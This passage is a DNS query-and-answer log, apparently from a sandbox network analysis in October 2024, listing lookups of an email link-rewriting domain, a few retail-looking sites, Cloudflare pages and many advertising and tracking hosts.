Oct 16, 2024 17:56:59.095792055 CEST	192.168.2.5	1.1.1.1	0xa032	Standard query (0)	api.www.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:56:59.095969915 CEST	192.168.2.5	1.1.1.1	0x631	Standard query (0)	api.www.cloudflare.com	65	IN (0x0001)	false
Oct 16, 2024 17:57:00.132515907 CEST	192.168.2.5	1.1.1.1	0x5d6d	Standard query (0)	api.www.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:00.132800102 CEST	192.168.2.5	1.1.1.1	0xe6d9	Standard query (0)	api.www.cloudflare.com	65	IN (0x0001)	false
Oct 16, 2024 17:57:00.995071888 CEST	192.168.2.5	1.1.1.1	0x15a1	Standard query (0)	cdn.logr-ingest.com	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:00.995404005 CEST	192.168.2.5	1.1.1.1	0xced6	Standard query (0)	cdn.logr-ingest.com	65	IN (0x0001)	false
Oct 16, 2024 17:57:01.277142048 CEST	192.168.2.5	1.1.1.1	0x29ea	Standard query (0)	snap.licdn.com	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:01.277513027 CEST	192.168.2.5	1.1.1.1	0xc3e7	Standard query (0)	snap.licdn.com	65	IN (0x0001)	false
Oct 16, 2024 17:57:01.278167963 CEST	192.168.2.5	1.1.1.1	0x17df	Standard query (0)	static.ads-twitter.com	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:01.278525114 CEST	192.168.2.5	1.1.1.1	0xc5a7	Standard query (0)	static.ads-twitter.com	65	IN (0x0001)	false
Oct 16, 2024 17:57:01.279747963 CEST	192.168.2.5	1.1.1.1	0xdaa	Standard query (0)	js.qualified.com	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:01.280196905 CEST	192.168.2.5	1.1.1.1	0x5de3	Standard query (0)	js.qualified.com	65	IN (0x0001)	false
Oct 16, 2024 17:57:01.282219887 CEST	192.168.2.5	1.1.1.1	0x73df	Standard query (0)	munchkin.marketo.net	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:01.282404900 CEST	192.168.2.5	1.1.1.1	0x1d8a	Standard query (0)	munchkin.marketo.net	65	IN (0x0001)	false
Oct 16, 2024 17:57:01.282788038 CEST	192.168.2.5	1.1.1.1	0xd56	Standard query (0)	cdn.bizible.com	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:01.283037901 CEST	192.168.2.5	1.1.1.1	0x325a	Standard query (0)	cdn.bizible.com	65	IN (0x0001)	false
Oct 16, 2024 17:57:01.283401012 CEST	192.168.2.5	1.1.1.1	0x3a4a	Standard query (0)	tag.demandbase.com	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:01.283571005 CEST	192.168.2.5	1.1.1.1	0x95a7	Standard query (0)	tag.demandbase.com	65	IN (0x0001)	false
Oct 16, 2024 17:57:01.292197943 CEST	192.168.2.5	1.1.1.1	0xb5c8	Standard query (0)	px.ads.linkedin.com	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:01.292371035 CEST	192.168.2.5	1.1.1.1	0x6d72	Standard query (0)	px.ads.linkedin.com	65	IN (0x0001)	false
Oct 16, 2024 17:57:01.292666912 CEST	192.168.2.5	1.1.1.1	0x303d	Standard query (0)	alb.reddit.com	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:01.292788982 CEST	192.168.2.5	1.1.1.1	0xa74	Standard query (0)	alb.reddit.com	65	IN (0x0001)	false
Oct 16, 2024 17:57:02.427460909 CEST	192.168.2.5	1.1.1.1	0xe1ec	Standard query (0)	stats.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:02.431050062 CEST	192.168.2.5	1.1.1.1	0xf790	Standard query (0)	stats.g.doubleclick.net	65	IN (0x0001)	false
Oct 16, 2024 17:57:02.728368044 CEST	192.168.2.5	1.1.1.1	0x7d06	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:02.729346991 CEST	192.168.2.5	1.1.1.1	0xcbd7	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 16, 2024 17:57:02.795579910 CEST	192.168.2.5	1.1.1.1	0xd588	Standard query (0)	dpm.demdex.net	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:02.796165943 CEST	192.168.2.5	1.1.1.1	0x2524	Standard query (0)	dpm.demdex.net	65	IN (0x0001)	false
Oct 16, 2024 17:57:04.046793938 CEST	192.168.2.5	1.1.1.1	0x4702	Standard query (0)	api.company-target.com	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:04.051423073 CEST	192.168.2.5	1.1.1.1	0xefd3	Standard query (0)	api.company-target.com	65	IN (0x0001)	false
Oct 16, 2024 17:57:04.139571905 CEST	192.168.2.5	1.1.1.1	0x19bb	Standard query (0)	r.logr-ingest.com	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:04.147171021 CEST	192.168.2.5	1.1.1.1	0x1c4c	Standard query (0)	r.logr-ingest.com	65	IN (0x0001)	false
Oct 16, 2024 17:57:04.207756996 CEST	192.168.2.5	1.1.1.1	0xac6c	Standard query (0)	adobedc.demdex.net	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:04.210073948 CEST	192.168.2.5	1.1.1.1	0x716e	Standard query (0)	adobedc.demdex.net	65	IN (0x0001)	false
Oct 16, 2024 17:57:04.235667944 CEST	192.168.2.5	1.1.1.1	0x8e55	Standard query (0)	s.company-target.com	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:04.235990047 CEST	192.168.2.5	1.1.1.1	0xf858	Standard query (0)	s.company-target.com	65	IN (0x0001)	false
Oct 16, 2024 17:57:04.236901045 CEST	192.168.2.5	1.1.1.1	0xea99	Standard query (0)	cloudflareinc.demdex.net	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:04.237054110 CEST	192.168.2.5	1.1.1.1	0xe28	Standard query (0)	cloudflareinc.demdex.net	65	IN (0x0001)	false
Oct 16, 2024 17:57:04.446671963 CEST	192.168.2.5	1.1.1.1	0xa41c	Standard query (0)	www.linkedin.com	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:04.447088957 CEST	192.168.2.5	1.1.1.1	0x1efd	Standard query (0)	www.linkedin.com	65	IN (0x0001)	false
Oct 16, 2024 17:57:04.479501009 CEST	192.168.2.5	1.1.1.1	0x261d	Standard query (0)	cdn.bizibly.com	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:04.479875088 CEST	192.168.2.5	1.1.1.1	0x27d9	Standard query (0)	cdn.bizibly.com	65	IN (0x0001)	false
Oct 16, 2024 17:57:04.495311022 CEST	192.168.2.5	1.1.1.1	0x97c7	Standard query (0)	t.co	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:04.495889902 CEST	192.168.2.5	1.1.1.1	0x14fd	Standard query (0)	t.co	65	IN (0x0001)	false
Oct 16, 2024 17:57:04.499834061 CEST	192.168.2.5	1.1.1.1	0x3bec	Standard query (0)	analytics.twitter.com	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:04.500078917 CEST	192.168.2.5	1.1.1.1	0xa144	Standard query (0)	analytics.twitter.com	65	IN (0x0001)	false
Oct 16, 2024 17:57:04.503235102 CEST	192.168.2.5	1.1.1.1	0xe35c	Standard query (0)	id.rlcdn.com	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:04.503530025 CEST	192.168.2.5	1.1.1.1	0x87f3	Standard query (0)	id.rlcdn.com	65	IN (0x0001)	false
Oct 16, 2024 17:57:05.154053926 CEST	192.168.2.5	1.1.1.1	0x18ba	Standard query (0)	cm.everesttech.net	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:05.154463053 CEST	192.168.2.5	1.1.1.1	0xf421	Standard query (0)	cm.everesttech.net	65	IN (0x0001)	false
Oct 16, 2024 17:57:05.631676912 CEST	192.168.2.5	1.1.1.1	0xf5fa	Standard query (0)	edge.adobedc.net	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:05.655320883 CEST	192.168.2.5	1.1.1.1	0x9fa2	Standard query (0)	edge.adobedc.net	65	IN (0x0001)	false
Oct 16, 2024 17:57:05.658824921 CEST	192.168.2.5	1.1.1.1	0xd442	Standard query (0)	assets.adobedtm.com	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:05.659342051 CEST	192.168.2.5	1.1.1.1	0x8f5f	Standard query (0)	assets.adobedtm.com	65	IN (0x0001)	false
Oct 16, 2024 17:57:05.660212994 CEST	192.168.2.5	1.1.1.1	0x4a77	Standard query (0)	alb.reddit.com	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:05.660516024 CEST	192.168.2.5	1.1.1.1	0x243d	Standard query (0)	alb.reddit.com	65	IN (0x0001)	false
Oct 16, 2024 17:57:05.661488056 CEST	192.168.2.5	1.1.1.1	0xd94c	Standard query (0)	munchkin.marketo.net	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:05.661865950 CEST	192.168.2.5	1.1.1.1	0x2f4c	Standard query (0)	munchkin.marketo.net	65	IN (0x0001)	false
Oct 16, 2024 17:57:06.077788115 CEST	192.168.2.5	1.1.1.1	0x5f01	Standard query (0)	tag-logger.demandbase.com	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:06.078407049 CEST	192.168.2.5	1.1.1.1	0xb327	Standard query (0)	tag-logger.demandbase.com	65	IN (0x0001)	false
Oct 16, 2024 17:57:06.140459061 CEST	192.168.2.5	1.1.1.1	0x1516	Standard query (0)	713-xsc-918.mktoresp.com	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:06.140703917 CEST	192.168.2.5	1.1.1.1	0xdaac	Standard query (0)	713-xsc-918.mktoresp.com	65	IN (0x0001)	false
Oct 16, 2024 17:57:06.292418957 CEST	192.168.2.5	1.1.1.1	0x1778	Standard query (0)	di.rlcdn.com	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:06.293106079 CEST	192.168.2.5	1.1.1.1	0x4315	Standard query (0)	di.rlcdn.com	65	IN (0x0001)	false
Oct 16, 2024 17:57:07.083631039 CEST	192.168.2.5	1.1.1.1	0xb54d	Standard query (0)	dsum-sec.casalemedia.com	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:07.083923101 CEST	192.168.2.5	1.1.1.1	0xc061	Standard query (0)	dsum-sec.casalemedia.com	65	IN (0x0001)	false
Oct 16, 2024 17:57:07.158914089 CEST	192.168.2.5	1.1.1.1	0x2ad0	Standard query (0)	partners.tremorhub.com	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:07.159162045 CEST	192.168.2.5	1.1.1.1	0xa715	Standard query (0)	partners.tremorhub.com	65	IN (0x0001)	false
Oct 16, 2024 17:57:07.160547972 CEST	192.168.2.5	1.1.1.1	0x8d85	Standard query (0)	pixel.rubiconproject.com	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:07.160887957 CEST	192.168.2.5	1.1.1.1	0xf4a1	Standard query (0)	pixel.rubiconproject.com	65	IN (0x0001)	false
Oct 16, 2024 17:57:07.477206945 CEST	192.168.2.5	1.1.1.1	0xae48	Standard query (0)	snap.licdn.com	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:07.486565113 CEST	192.168.2.5	1.1.1.1	0xaa8d	Standard query (0)	snap.licdn.com	65	IN (0x0001)	false
Oct 16, 2024 17:57:07.545852900 CEST	192.168.2.5	1.1.1.1	0x5e43	Standard query (0)	cdn.bizible.com	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:07.545990944 CEST	192.168.2.5	1.1.1.1	0x5446	Standard query (0)	cdn.bizible.com	65	IN (0x0001)	false
Oct 16, 2024 17:57:07.546967983 CEST	192.168.2.5	1.1.1.1	0x874b	Standard query (0)	static.ads-twitter.com	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:07.547286987 CEST	192.168.2.5	1.1.1.1	0x3534	Standard query (0)	static.ads-twitter.com	65	IN (0x0001)	false
Oct 16, 2024 17:57:07.548086882 CEST	192.168.2.5	1.1.1.1	0x68ff	Standard query (0)	tag.demandbase.com	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:07.548230886 CEST	192.168.2.5	1.1.1.1	0x905	Standard query (0)	tag.demandbase.com	65	IN (0x0001)	false
Oct 16, 2024 17:57:07.549736023 CEST	192.168.2.5	1.1.1.1	0x11c9	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:07.550266981 CEST	192.168.2.5	1.1.1.1	0x5de6	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 16, 2024 17:57:07.551340103 CEST	192.168.2.5	1.1.1.1	0x3d77	Standard query (0)	dpm.demdex.net	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:07.551677942 CEST	192.168.2.5	1.1.1.1	0x6c87	Standard query (0)	dpm.demdex.net	65	IN (0x0001)	false
Oct 16, 2024 17:57:07.554344893 CEST	192.168.2.5	1.1.1.1	0x11e2	Standard query (0)	googleads.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:07.554513931 CEST	192.168.2.5	1.1.1.1	0x5234	Standard query (0)	googleads.g.doubleclick.net	65	IN (0x0001)	false
Oct 16, 2024 17:57:07.903687000 CEST	192.168.2.5	1.1.1.1	0x759e	Standard query (0)	px.ads.linkedin.com	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:07.904488087 CEST	192.168.2.5	1.1.1.1	0xc270	Standard query (0)	px.ads.linkedin.com	65	IN (0x0001)	false
Oct 16, 2024 17:57:07.910430908 CEST	192.168.2.5	1.1.1.1	0xbce2	Standard query (0)	adobedc.demdex.net	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:07.910916090 CEST	192.168.2.5	1.1.1.1	0xe63a	Standard query (0)	adobedc.demdex.net	65	IN (0x0001)	false
Oct 16, 2024 17:57:07.914911985 CEST	192.168.2.5	1.1.1.1	0x1c7	Standard query (0)	api.company-target.com	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:07.915529966 CEST	192.168.2.5	1.1.1.1	0x2966	Standard query (0)	api.company-target.com	65	IN (0x0001)	false
Oct 16, 2024 17:57:07.941160917 CEST	192.168.2.5	1.1.1.1	0x6cc5	Standard query (0)	analytics.twitter.com	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:07.941694975 CEST	192.168.2.5	1.1.1.1	0x9839	Standard query (0)	analytics.twitter.com	65	IN (0x0001)	false
Oct 16, 2024 17:57:07.946491003 CEST	192.168.2.5	1.1.1.1	0xc952	Standard query (0)	cdn.bizibly.com	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:07.947029114 CEST	192.168.2.5	1.1.1.1	0xe25e	Standard query (0)	cdn.bizibly.com	65	IN (0x0001)	false
Oct 16, 2024 17:57:07.953771114 CEST	192.168.2.5	1.1.1.1	0xa392	Standard query (0)	t.co	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:07.953928947 CEST	192.168.2.5	1.1.1.1	0x675e	Standard query (0)	t.co	65	IN (0x0001)	false
Oct 16, 2024 17:57:07.974900007 CEST	192.168.2.5	1.1.1.1	0x4ee8	Standard query (0)	edge.adobedc.net	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:07.975272894 CEST	192.168.2.5	1.1.1.1	0x1278	Standard query (0)	edge.adobedc.net	65	IN (0x0001)	false
Oct 16, 2024 17:57:08.005343914 CEST	192.168.2.5	1.1.1.1	0x974d	Standard query (0)	tag-logger.demandbase.com	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:08.005817890 CEST	192.168.2.5	1.1.1.1	0xd0eb	Standard query (0)	tag-logger.demandbase.com	65	IN (0x0001)	false
Oct 16, 2024 17:57:08.321135998 CEST	192.168.2.5	1.1.1.1	0x4f5d	Standard query (0)	partners.tremorhub.com	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:08.321305990 CEST	192.168.2.5	1.1.1.1	0xde23	Standard query (0)	partners.tremorhub.com	65	IN (0x0001)	false
Oct 16, 2024 17:57:08.818166018 CEST	192.168.2.5	1.1.1.1	0x47a9	Standard query (0)	dsum-sec.casalemedia.com	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:08.818361044 CEST	192.168.2.5	1.1.1.1	0xf898	Standard query (0)	dsum-sec.casalemedia.com	65	IN (0x0001)	false
Oct 16, 2024 17:57:08.898159027 CEST	192.168.2.5	1.1.1.1	0x1944	Standard query (0)	pixel.rubiconproject.com	65	IN (0x0001)	false
Oct 16, 2024 17:57:08.898159027 CEST	192.168.2.5	1.1.1.1	0x51e8	Standard query (0)	pixel.rubiconproject.com	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:12.752111912 CEST	192.168.2.5	1.1.1.1	0x781a	Standard query (0)	js.qualified.com	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:12.752266884 CEST	192.168.2.5	1.1.1.1	0x1804	Standard query (0)	js.qualified.com	65	IN (0x0001)	false
Oct 16, 2024 17:57:12.863064051 CEST	192.168.2.5	1.1.1.1	0x9640	Standard query (0)	ws6.qualified.com	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:12.863593102 CEST	192.168.2.5	1.1.1.1	0x23f8	Standard query (0)	ws6.qualified.com	65	IN (0x0001)	false
Oct 16, 2024 17:57:17.597843885 CEST	192.168.2.5	1.1.1.1	0x54e5	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:17.598248005 CEST	192.168.2.5	1.1.1.1	0x3269	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 16, 2024 17:57:36.161688089 CEST	192.168.2.5	1.1.1.1	0xf729	Standard query (0)	td.doubleclick.net	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:36.162087917 CEST	192.168.2.5	1.1.1.1	0xff3d	Standard query (0)	td.doubleclick.net	65	IN (0x0001)	false
Oct 16, 2024 17:57:36.162831068 CEST	192.168.2.5	1.1.1.1	0x68f9	Standard query (0)	ad.doubleclick.net	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:36.163007021 CEST	192.168.2.5	1.1.1.1	0xed1f	Standard query (0)	ad.doubleclick.net	65	IN (0x0001)	false
Oct 16, 2024 17:57:36.289036036 CEST	192.168.2.5	1.1.1.1	0xfc19	Standard query (0)	analytics.google.com	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:36.292351007 CEST	192.168.2.5	1.1.1.1	0x4cd7	Standard query (0)	analytics.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 16, 2024 17:56:15.130872011 CEST	1.1.1.1	192.168.2.5	0x9ecf	No error (0)	url.avanan.click	d3bl0rsvnw97mw.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:56:15.130872011 CEST	1.1.1.1	192.168.2.5	0x9ecf	No error (0)	d3bl0rsvnw97mw.cloudfront.net		108.138.7.53	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:56:15.130872011 CEST	1.1.1.1	192.168.2.5	0x9ecf	No error (0)	d3bl0rsvnw97mw.cloudfront.net		108.138.7.80	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:56:15.130872011 CEST	1.1.1.1	192.168.2.5	0x9ecf	No error (0)	d3bl0rsvnw97mw.cloudfront.net		108.138.7.116	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:56:15.130872011 CEST	1.1.1.1	192.168.2.5	0x9ecf	No error (0)	d3bl0rsvnw97mw.cloudfront.net		108.138.7.20	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:56:15.131166935 CEST	1.1.1.1	192.168.2.5	0xce6d	No error (0)	url.avanan.click	d3bl0rsvnw97mw.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:56:16.701236963 CEST	1.1.1.1	192.168.2.5	0x3033	No error (0)	www.google.com.sg		142.250.184.227	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:56:17.525873899 CEST	1.1.1.1	192.168.2.5	0x4626	No error (0)	www.google.com		142.250.185.100	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:56:17.525994062 CEST	1.1.1.1	192.168.2.5	0xb494	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 16, 2024 17:56:22.245676994 CEST	1.1.1.1	192.168.2.5	0x44f	No error (0)	www.google.com.sg		172.217.23.99	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:56:27.867818117 CEST	1.1.1.1	192.168.2.5	0x1d6c	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:56:27.867818117 CEST	1.1.1.1	192.168.2.5	0x1d6c	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:56:28.168415070 CEST	1.1.1.1	192.168.2.5	0x8680	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:56:28.168415070 CEST	1.1.1.1	192.168.2.5	0x8680	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:56:31.961172104 CEST	1.1.1.1	192.168.2.5	0xe2bf	No error (0)	boldlionapparel.com		103.83.194.55	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:56:35.539043903 CEST	1.1.1.1	192.168.2.5	0x41de	No error (0)	earthheros.com.de			65	IN (0x0001)	false
Oct 16, 2024 17:56:35.547249079 CEST	1.1.1.1	192.168.2.5	0xa85d	No error (0)	earthheros.com.de		172.67.157.17	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:56:35.547249079 CEST	1.1.1.1	192.168.2.5	0xa85d	No error (0)	earthheros.com.de		104.21.34.79	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:56:36.986563921 CEST	1.1.1.1	192.168.2.5	0x5ca6	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:56:39.407429934 CEST	1.1.1.1	192.168.2.5	0x3273	No error (0)	earthheros.com.de		104.21.34.79	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:56:39.407429934 CEST	1.1.1.1	192.168.2.5	0x3273	No error (0)	earthheros.com.de		172.67.157.17	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:56:39.424880981 CEST	1.1.1.1	192.168.2.5	0x4f25	No error (0)	earthheros.com.de			65	IN (0x0001)	false
Oct 16, 2024 17:56:41.267153978 CEST	1.1.1.1	192.168.2.5	0xdbed	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	s-part-0032.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:56:41.267153978 CEST	1.1.1.1	192.168.2.5	0xdbed	No error (0)	s-part-0032.t-0009.t-msedge.net		13.107.246.60	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:56:45.198726892 CEST	1.1.1.1	192.168.2.5	0x5a25	No error (0)	www.cloudflare.com		104.16.124.96	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:56:45.198726892 CEST	1.1.1.1	192.168.2.5	0x5a25	No error (0)	www.cloudflare.com		104.16.123.96	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:56:45.199673891 CEST	1.1.1.1	192.168.2.5	0x2385	No error (0)	www.cloudflare.com			65	IN (0x0001)	false
Oct 16, 2024 17:56:47.964993000 CEST	1.1.1.1	192.168.2.5	0xcab6	No error (0)	static.cloudflareinsights.com			65	IN (0x0001)	false
Oct 16, 2024 17:56:47.965054989 CEST	1.1.1.1	192.168.2.5	0x8898	No error (0)	static.cloudflareinsights.com		104.16.80.73	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:56:47.965054989 CEST	1.1.1.1	192.168.2.5	0x8898	No error (0)	static.cloudflareinsights.com		104.16.79.73	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:56:47.968236923 CEST	1.1.1.1	192.168.2.5	0x7511	No error (0)	cf-assets.www.cloudflare.com		104.16.123.96	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:56:47.968236923 CEST	1.1.1.1	192.168.2.5	0x7511	No error (0)	cf-assets.www.cloudflare.com		104.16.124.96	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:56:47.968734026 CEST	1.1.1.1	192.168.2.5	0x9d2	No error (0)	cf-assets.www.cloudflare.com			65	IN (0x0001)	false
Oct 16, 2024 17:56:48.729933977 CEST	1.1.1.1	192.168.2.5	0xed13	No error (0)	www.cloudflare.com		104.16.124.96	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:56:48.729933977 CEST	1.1.1.1	192.168.2.5	0xed13	No error (0)	www.cloudflare.com		104.16.123.96	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:56:48.731458902 CEST	1.1.1.1	192.168.2.5	0xd101	No error (0)	www.cloudflare.com			65	IN (0x0001)	false
Oct 16, 2024 17:56:48.769284964 CEST	1.1.1.1	192.168.2.5	0x2f66	No error (0)	performance.radar.cloudflare.com		104.18.30.78	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:56:48.769284964 CEST	1.1.1.1	192.168.2.5	0x2f66	No error (0)	performance.radar.cloudflare.com		104.18.31.78	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:56:48.769459963 CEST	1.1.1.1	192.168.2.5	0xfb5e	No error (0)	performance.radar.cloudflare.com			65	IN (0x0001)	false
Oct 16, 2024 17:56:48.769716024 CEST	1.1.1.1	192.168.2.5	0xfd25	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Oct 16, 2024 17:56:48.769768000 CEST	1.1.1.1	192.168.2.5	0xc7de	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:56:48.769768000 CEST	1.1.1.1	192.168.2.5	0xc7de	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:56:48.771986008 CEST	1.1.1.1	192.168.2.5	0xea97	No error (0)	ot.www.cloudflare.com		104.16.124.96	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:56:48.771986008 CEST	1.1.1.1	192.168.2.5	0xea97	No error (0)	ot.www.cloudflare.com		104.16.123.96	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:56:48.772393942 CEST	1.1.1.1	192.168.2.5	0x7958	No error (0)	ot.www.cloudflare.com			65	IN (0x0001)	false
Oct 16, 2024 17:56:48.817176104 CEST	1.1.1.1	192.168.2.5	0x31d3	No error (0)	cf-assets.www.cloudflare.com			65	IN (0x0001)	false
Oct 16, 2024 17:56:48.817468882 CEST	1.1.1.1	192.168.2.5	0x14cb	No error (0)	cf-assets.www.cloudflare.com		104.16.124.96	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:56:48.817468882 CEST	1.1.1.1	192.168.2.5	0x14cb	No error (0)	cf-assets.www.cloudflare.com		104.16.123.96	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:56:49.046580076 CEST	1.1.1.1	192.168.2.5	0xaa6b	No error (0)	static.cloudflareinsights.com		104.16.80.73	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:56:49.046580076 CEST	1.1.1.1	192.168.2.5	0xaa6b	No error (0)	static.cloudflareinsights.com		104.16.79.73	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:56:49.046654940 CEST	1.1.1.1	192.168.2.5	0x15ab	No error (0)	static.cloudflareinsights.com			65	IN (0x0001)	false
Oct 16, 2024 17:56:52.282933950 CEST	1.1.1.1	192.168.2.5	0x7970	No error (0)	ot.www.cloudflare.com		104.16.123.96	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:56:52.282933950 CEST	1.1.1.1	192.168.2.5	0x7970	No error (0)	ot.www.cloudflare.com		104.16.124.96	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:56:52.283574104 CEST	1.1.1.1	192.168.2.5	0xc4c8	No error (0)	ot.www.cloudflare.com			65	IN (0x0001)	false
Oct 16, 2024 17:56:52.755348921 CEST	1.1.1.1	192.168.2.5	0xc672	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:56:52.755348921 CEST	1.1.1.1	192.168.2.5	0xc672	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:56:52.757041931 CEST	1.1.1.1	192.168.2.5	0xccef	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Oct 16, 2024 17:56:56.130691051 CEST	1.1.1.1	192.168.2.5	0xfe6f	No error (0)	cdn.logr-ingest.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:56:56.130691051 CEST	1.1.1.1	192.168.2.5	0xfe6f	No error (0)	cdn.logr-ingest.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:56:56.130707979 CEST	1.1.1.1	192.168.2.5	0xed40	No error (0)	cdn.logr-ingest.com			65	IN (0x0001)	false
Oct 16, 2024 17:56:59.080430984 CEST	1.1.1.1	192.168.2.5	0x199e	No error (0)	assets.adobedtm.com	cn-assets.adobedtm.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
